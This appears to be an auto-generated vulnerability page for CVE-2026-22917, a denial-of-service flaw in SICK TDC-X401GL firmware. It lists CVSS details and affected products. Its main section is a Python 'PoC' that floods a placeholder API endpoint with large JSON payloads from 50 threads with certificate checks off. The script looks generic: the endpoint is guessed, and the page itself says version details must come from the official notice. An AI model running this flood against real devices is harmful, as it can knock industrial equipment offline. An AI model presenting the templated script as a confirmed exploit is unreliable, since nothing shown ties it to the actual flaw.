Security Vulnerability Report
中文
CVE-2026-22917 CVSS 4.3 MEDIUM

CVE-2026-22917

Published: 2026-01-15 13:16:07
Last Modified: 2026-01-23 14:59:11

Description

Improper input handling in a system endpoint may allow attackers to overload resources, causing a denial of service.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:* - NOT VULNERABLE
SICK产品系统端点(具体版本需参考官方通报)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22917 PoC - Denial of Service via Improper Input Handling # Target: SICK product system endpoint # Note: This PoC demonstrates the attack concept for authorized security testing only import requests import time import concurrent.futures TARGET_URL = "https://<target-ip>/api/system/endpoint" PAYLOAD = {"data": "A" * 10000} # Large input to trigger resource exhaustion def send_malicious_request(): """Send malformed request to system endpoint""" try: response = requests.post( TARGET_URL, json=PAYLOAD, timeout=5, verify=False ) return response.status_code except requests.exceptions.RequestException: return None def exploit_dos(): """Execute DoS attack by sending multiple requests""" print(f"[*] Starting DoS attack against {TARGET_URL}") with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(send_malicious_request) for _ in range(100)] for future in concurrent.futures.as_completed(futures): result = future.result() print(f"[+] Request completed: {result}") if __name__ == "__main__": print("CVE-2026-22917 PoC - Unauthorized testing is prohibited") exploit_dos()

References

Raw JSON Data

JSON
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